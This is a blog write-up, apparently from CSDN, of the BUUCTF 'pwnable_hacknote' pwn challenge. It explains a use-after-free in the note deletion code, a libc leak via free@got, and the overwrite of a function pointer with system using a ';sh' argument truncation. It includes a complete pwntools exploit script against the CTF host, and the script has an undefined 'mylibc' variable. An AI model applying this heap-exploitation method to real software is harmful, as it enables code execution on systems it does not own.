BUUCTF-PWN-pwnable_hacknote-UAF

buuctf hacknote 程序有uaf漏洞,可以通过uaf漏洞更改输出函数为........ 阅读详情

1.checksec+运行

 标准的菜单模式

canary和NX保护

2.32位IDA

1.sub_8048646()

unsigned int sub_8048646()
{
  int v0; // ebx
  int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf[8]; // [esp+14h] [ebp-14h] BYREF
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( dword_804A04C <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !*(&ptr + i) )
      {
        *(&ptr + i) = malloc(8u); //malloc 0x8 的chunk,叫note块
        if ( !*(&ptr + i) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)*(&ptr + i) = sub_804862B; //note[0]存放puts()函数的地址
        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf);
        v0 = (int)*(&ptr + i);
        *(_DWORD *)(v0 + 4) = malloc(size);  //malloc size 的chunk,叫content块
        if ( !*((_DWORD *)*(&ptr + i) + 1) )  //note[1]存放content的地址
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)*(&ptr + i) + 1), size); //存放我们申请堆块的size
        puts("Success !");
        ++dword_804A04C;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

2.sub_80487D4()

unsigned int sub_80487D4()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&ptr + v1) )
  {
    free(*((void **)*(&ptr + v1) + 1)); //释放note块
    free(*(&ptr + v1));                 //释放content块
    puts("Success");                    //两个chunk都没有被置NULL,存在UAF漏洞
  }
  return __readgsdword(0x14u) ^ v3;
}

3.sub_80488A5()

unsigned int sub_80488A5()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&ptr + v1) )
    (*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1)); //调用puts()函数
  return __readgsdword(0x14u) ^ v3;                //输出note块chunk存放地址的内容
}

利用思路

泄露libc,调用system,执行bin/sh/,获取shell

泄露libc

print note可以打印泄露地址

  1. 先add chunk0,add chunk1,大小都为0x80。
  2. 然后delete chunk1,chuk0.此时再申请add chunk2,大小为8.
  3. chunk2的note块是chunk0的note块,chunk2的content块是chunk1的note块。
  4. 向content2中写入puts函数地址和free@got表地址
  5. 调用 show(chunk2),执行puts和free@got表地址,将free函数的实际地址泄露,再根据偏移泄露system函数地址。

调用system执行bin/sh/

传入该函数的参数是note结构体自身,无法直接传入字符串“\bin\sh”,

原来的note_puts(arg0)是对puts(arg0+4)的封装,而现在的system(arg0)中arg0并不指向字符串而指向system的地址,所以这里需要system参数截断,

system参数用";sh\x00"或者"||sh"截断

EXP

from pwn import *
context(arch='i386',os='linux',log_level='debug')
elf = ELF('./hacknoteuaf')
libc = ELF('./libc-2.23-32.so')
p = remote("node4.buuoj.cn",27486)

def add_note(size,content):
    p.recvuntil("choice :")
    p.sendline("1")
    p.recvuntil("size :")
    p.sendline(str(size))
    p.recvuntil("Content :")
    p.sendline(content)

def del_note(index):
    p.recvuntil("choice :")
    p.sendline("2")
    p.recvuntil("Index :")
    p.sendline(str(index))

def print_note(index):
    p.recvuntil("choice :")
    p.sendline("3")
    p.recvuntil("Index :")
    p.sendline(str(index))


add_note(64,"12")
add_note(32,"12")
del_note(0)
add_note(64,"45")
print_note(2)

libc_addr = u32(p.recv(8)[4:8]) - 0x1b07b0
sys_addr = libc_addr + mylibc.symbols['system']

# add_note(8,"12")
# add_note(8,"34")
# del_note(3)
# del_note(4)
del_note(0)
del_note(1)
add_note(8,p32(sys_addr)+";sh\x00")
print_note(0)
p.interactive()

 

[BUUCTF]PWN——pwnable_hacknote pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方便理解 delete() show() 利用思路:使用uaf泄露libc,计算system,执行system(‘/bin/sh’)获取shell 泄露libc print_note的打印功能可以帮助泄露地址。 先add chunk0,add chunk1,大小都为0x80。 add(0x 阅读详情

相关推荐

从hacknote了解UAF漏洞

首先查看程序的基本功能,基本的菜单形式,主要提供了三个功能,创建,删除,打印。(即malloc堆块,free堆块,printf堆块中的数据) 查看程序基本信息 拖进ida中进行伪代码审计,由于此题没有去掉符号表,因此审计相对比较简答。创建和打印部分的代码均没有什么漏洞,在删除功能处可以发现很明显的UAF漏洞,在free掉content指针和结构体指针后均没有将其置为NULL。 另外可以找到程序中存在后门函数magic 进行调试分析,首先创建两个note(note0和note1),大小都为0x10,g

weixin_44864859的博客 924

[BUUCTF]-PWN:pwnable_hacknote解析

先看保护32位,没开pie,got表可修改看ida总的来说就是alloc创建堆块,free释放堆块,show打印堆块内容但alloc处的函数比较特别,他会先申请一个0x8大小的堆来存放与puts相关的指针。

2301_79326813的博客 591

BUUCTF-----actf_2019_babyheap (UAF)

这道题和之前做的 hitcontraining_uaf 这道题类似 64位程序,没开PIE 并且这里发现了 bin/sh 字符串

半岛铁盒的博客 6411

什么是私有地址?如何分类?

什么是私有地址?如何分类? 在现在的网络中,IP地址分为公网IP地址和私有IP地址。 公网IP是在Internet使用的IP地址,而私有IP地址则是在局域网中使用的IP地址。 私有IP地址是一段保留的IP地址。只使用在局域网中,无法在Internet上使用。 当私有网络内的主机要与位于公网上的主机进行通讯时必须经过地址转换,将其私有地址转换为合法公网地址才能对外访问。 NAT-Network Address Translation 网络地址转换 所谓的私有地址就是在互联网上不使用,而被用在局域网络中的地址

qq_44047479的博客 3万+

三菱FX3U PLC红绿灯ST编程实战:从基础逻辑到急停功能完整实现

本文以十字路口红绿灯控制为例,详细讲解了三菱FX3U PLC使用ST编程的完整实战过程。内容涵盖从基础时序逻辑、状态机设计,到急停功能、黄灯闪烁、昼夜模式切换等高级功能的实现,并提供了代码优化与调试技巧,帮助工程师掌握结构化文本在工业控制中的清晰、结构化应用。

weixin_29070861的博客 533

机器人控制入门:用SAC算法让机械臂学会抓取(PyBullet仿真教程)

本文详细介绍了如何使用SAC算法在PyBullet仿真环境中训练机械臂完成抓取任务。通过强化学习中的软Actor-Critic(SAC)算法,结合熵最大化机制和双Q网络架构,有效解决了机械臂控制中的探索难题。教程包含环境搭建、算法原理、状态空间设计、奖励函数优化等核心内容,并提供了实用的训练技巧和参数调优指南。

weixin_29091105的博客 361

BUUCTF Hacknote

Hacknote 分析过程 检查一下保护,无pie,32位,谨记啊,程序的位数,这次就吃亏了 明显的堆题,不过这次没有edit函数 Add函数,最多创建5个堆,先malloc一个0x10的堆,然后把上面函数的地址赋给第一位,第二字赋给我们即将创建的size大小的堆 Free函数,输入index,free对应堆块,只是这里没有对指针进行清零,存在UAF漏洞 Dump函数通过指针调用,一看就可以泄露 整理一下思路,我们可以通过创建2个大于0x10大小的堆,然后free掉他们,然后申请一个0x10的堆

qq_51821131的博客 2692

Hopf振荡器在机器人步态控制里到底怎么用?一个CPG仿生案例说清楚

本文深入解析了Hopf振荡器在机器人步态控制中的实际应用,通过CPG仿生案例详细展示了从数学方程到关节指令的完整流程。重点探讨了Hopf振荡器的极限环稳定性、参数调节技巧及自适应控制策略,为机器人运动控制提供了高效解决方案。

weixin_29284657的博客 201

buuctf hitcontraining_uaf

会把指针堆块1重新分配给我们,context堆块会把指针堆块0分配给我们(因为我们申请一个堆块实际上是申请两个堆块(一个指针堆块,一个context堆块))程序是先申请一个指针堆块,这个指针堆块的大小为8字节,前四字节存储的是puts函数的指针,后四字节存储的是要申请的堆块内容指针就是相当于这样。3.打印堆块内容,这段代码会把指针堆块的第一个指针来执行函数,如果把第一个指针修改为后门函数指针,就能getshell。2.释放堆块,这个操作,在释放堆块之后,并未把指针置零,所以存在uaf漏洞。

cainiao78777的博客 478

欧姆龙NX控制器与Sysmac studio的电机配置方法

使用歐姆龍NX控制器與Sysmac studio控制電機簡單運動 <上> — 環境配置0. 前言1. 實際硬件連接2. Sysmac studio 配置2.1 新建工程2.2 通信設置2.2.1 軟件內通信設置2.2.2 上位機本地通信設置 0. 前言 筆者最近需要使用到歐姆龍的多軸運動控制器來控制電機運動,但網路上關於Sysmac studio的教程或文章較為零散,作為初學者的筆者難以消化,故在稍微會用軟件後撰寫本文,為自己留個筆記,同時希望能夠幫助到需要的人。 1.本文面向買了歐姆龍控制器

weixin_46005653的博客 1万+

最速下降法、牛顿法、拟牛顿法,Python实现高维二次目标函数优化

原理什么的就不说了,只有代码。。。 十元二次目标函数,求极小值点。 1.最速下降法 import random import numpy as np import matplotlib.pyplot as plt from sympy import * def goldsteinsearch(f, df, d, x, alpham, rho, t): flag = 0 a = 0 b = alpham fk = f(x) gk = df(x)

我乐飞的技术博客 2243

BUUCTF-UAF漏洞 pwnable_hacknote

BUUCTF-UAF漏洞 pwnable_hacknote 好久不学习pwn了,今天学习突然就开窍了,开心,好像离大神又近了一步 就不静态分析了,直接动态分析 首先创建两个大小为0x80的堆快,结构如图所示,可以看到每个堆块包含了两个部分 然后我们释放这两个堆块,可以看到被存放进了fastbin中 之后我们创建一个payload,0x8个大小的, from pwn import * from LibcSearcher import * def add(size, content): print(

weixin_45441024的博客 664

NSGA-Ⅱ算法:从原理到实战,解锁多目标优化难题

本文深入解析NSGA-Ⅱ算法在多目标优化中的应用,从原理到实战全面覆盖。通过快速非支配排序、精英策略和拥挤度比较三大创新,NSGA-Ⅱ有效解决了传统算法的效率与多样性问题。结合工业案例展示其在注塑工艺优化中的显著效果,为工程师提供实用解决方案。

weixin_29207149的博客 367

Hacknote 一道简单的UAF漏洞题

看了大佬们的WP两天,勉强搞懂了原理。如有任何错误请在评论区指出。

红叶的博客 610

AMBA-CHI协议详解(七)

本节描述该协议包含的支持系统保序需求的机制。

Crazzy_M的博客 1158

【基础演练】Playwright 极简复习:作为 AI-RPA 底座的 Playwright 核心用法

摘要: 2026年,Playwright已从测试工具升级为AI-RPA标准执行底座,周下载量超3300万,被browser-use等AI Agent项目广泛采用。其核心架构通过Playwright Server实现多浏览器协议适配,支持远程连接与高并发隔离(BrowserContext)。自动等待机制显著提升稳定性,但高频交互场景可能需直接使用CDP协议。Playwright凭借跨浏览器兼容性、轻量级隔离和微软官方支持,成为测试、RPA和AI Agent领域的事实标准,未来将主导对话式自动化市场。

ZDQ58818的博客 237

攻防世界 —— hacknote

攻防世界——hacknote

qq_41696518的博客 1915

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

uaf-逻辑题-BUUCTF hacknote

首先拿到题目是个菜单题,在ida中进行手动识别重命名函数如图: 首先按照程序流程配合程序一起分析add函数如图: 通过上面分析可知,ptr_array是一个全局数组长度为5,然后进入if判断这个“*(&ptr_array + i)”也就是ptr_array[i]那么这就对每个数组里面的内容进行判空,那就是说这个数组里面的数据是否被add过。 然后就是给数组里面每个分配了一个大小为8byte的chunk实际分配是0x10,然后这句“**(&ptr_array + i) = m_puts”实

csdn546229768的博客 461

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

(BUUCTF)huxiangbei_2019_hacknote

buuctf的huxiangbei_2019_hacknote

xy1458214551的博客 286

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

BUUCTF hitcontraining_uaf

这是我第一次自己做出来的堆题,,????动 没什么特别,,看一看代码 还是一个堆块管理系统,不过这次他管理的时候有些不一样 1.add 不一样就在这里,,如果要创建一个用户数据,,先malloc一个八字节的指针堆块(我这么叫。。里面放着指针),,这八字节,前四个字节是一个pirnt_note_content函数,,这个函数的作用是以他后面相邻四个字节的数据为指针,打印这个指针里面的内容;;;申请...

BengDouLove的博客 1110

pwnable_hacknote

buu刷题pwnable_hacknote【wp】

m0_73756460的博客 309

[BUUCTF]PWN——gyctf_2020_document(UAF)

gyctf_2020_document 例行检查,64位程序,保护全开 漏洞在free chunk的时候 简单看一下其他几个功能函数 add() 像我这样的新手,可以申请几个chunk看一下,方便理清楚堆的内部情况 show(),根据存放在bss段的0x202060堆指针数组来输出对应的chunk里的值 edit() 利用思路 申请一个chunk,释放掉,在show,由于存在uaf,这样就泄露了libc 泄露libc后,由于第一个chunk被释放了,并且edit函数编辑的是chun

mcmuyanga的博客 998

堆利用 UAF漏洞

buuctf上的easy_uaf漏洞

m0_64195960的博客 940

pwnable.tw_hacknote_uaf利用

一道大家都说入uaf比较好的例题,将自己学习的uaf的历程记录一下,来自某大佬一句励志的话 解题思路 1. 查看文件信息,安全机制 2. IDA审计 3. 分析漏洞点 4. 编写EXP 1.基本信息 安全机制 运行 IDA审计 1.add 2.del 3.print ...

Jc 653

pwn hacknote

这道题增加堆块会将printf函数的got表地址和将要打印的地址放入一个申请的堆块里面存在uaf漏洞可以先创建2个堆块然后释放申请0x8大小的堆块根据堆分配的原则我们先使用1的第一个然后使用0的第一个然后就修改了指针指向读到flag的函数即可 exp: from pwn import * p=process('./hacknote') elf=ELF('./hacknote') def debug...

doudoudedi 471

BUUCTF pwn 五月刷题

actf_2019_babystack 典型的stack pivot,告诉了输入时候栈的地址,我们可以通过伪造ebp,通过两次leave将esp指向开始时候的栈地址。注意的是这里system("/bin/sh")有问题,换了one gadget才成功,不是很清楚为什么。 from pwn import * context.log_level = "debug" context.terminal ...

coco的博客 886
上一篇: pwn--wp
下一篇: BUUCTF-PWN-ACTF_2019_message
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值